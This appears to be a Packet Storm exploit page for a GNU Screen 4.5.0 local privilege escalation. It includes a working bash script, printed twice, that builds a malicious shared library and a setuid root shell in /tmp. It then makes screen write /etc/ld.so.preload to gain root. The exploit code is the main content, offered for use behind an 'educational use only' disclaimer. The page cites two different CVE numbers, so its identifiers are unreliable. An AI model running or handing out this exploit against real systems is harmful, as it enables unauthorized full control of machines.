7.8
/ 10
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
GNU.............................................
Basic Information
ID
PACKETSTORM:210183
Published
Oct 6, 2025 at 00:00
Affected Product
Affected Versions
### GNU Screen 4.5.0 Local Privilege Escalation Exploit (CVE-2017-5618)
## 📌 Overview
Local privilege escalation exploit for GNU Screen 4.5.0 that hijacks shared library loading to gain **root access** via `ld.so.preload` manipulation.
## 🔧 Technical Details
Vulnerability: CVE-2017-5618
Type: Shared Library Hijacking via ld.so.preload
Affected: GNU Screen 4.5.0 exclusively
Fixed in: GNU Screen 4.6.0+
## 🎪 The Vulnerability Circus
CVE: 2017-5618 🎯
***The Bug: Screen 4.5.0 creates log files with DANGEROUS permissions***
***The Magic: We trick it into creating /etc/ld.so.preload that loads our malicious library***
***The Payload: Instant root shell! 🐚***
## Script 🗒️
```bash
#!/bin/bash
# exploit.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# CVE-2016-8781
# tested on debian jessie (8.6) with screen 4.5.
# 0xHackers - Darke
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
echo "[+] Triggering..."
screen -ls
/tmp/rootshell
```
## Screenshots
> Checking Vulnerable Screen Version.
> Creating The File And Giving Required Permissions.
> Root Access Gained.
> Root shell achieved - full system control
## ⚠️ Warning Label
FOR EDUCATIONAL USE ONLY! ⚠️
Don't be a script kiddie - use this only on systems you own or have explicit permission to test.
## Tested On
TryHackMe KOTH Room - Food
## 📌 Overview
Local privilege escalation exploit for GNU Screen 4.5.0 that hijacks shared library loading to gain **root access** via `ld.so.preload` manipulation.
## 🔧 Technical Details
Vulnerability: CVE-2017-5618
Type: Shared Library Hijacking via ld.so.preload
Affected: GNU Screen 4.5.0 exclusively
Fixed in: GNU Screen 4.6.0+
## 🎪 The Vulnerability Circus
CVE: 2017-5618 🎯
***The Bug: Screen 4.5.0 creates log files with DANGEROUS permissions***
***The Magic: We trick it into creating /etc/ld.so.preload that loads our malicious library***
***The Payload: Instant root shell! 🐚***
## Script 🗒️
```bash
#!/bin/bash
# exploit.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# CVE-2016-8781
# tested on debian jessie (8.6) with screen 4.5.
# 0xHackers - Darke
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
echo "[+] Triggering..."
screen -ls
/tmp/rootshell
```
## Screenshots
> Checking Vulnerable Screen Version.
> Creating The File And Giving Required Permissions.
> Root Access Gained.
> Root shell achieved - full system control
## ⚠️ Warning Label
FOR EDUCATIONAL USE ONLY! ⚠️
Don't be a script kiddie - use this only on systems you own or have explicit permission to test.
## Tested On
TryHackMe KOTH Room - Food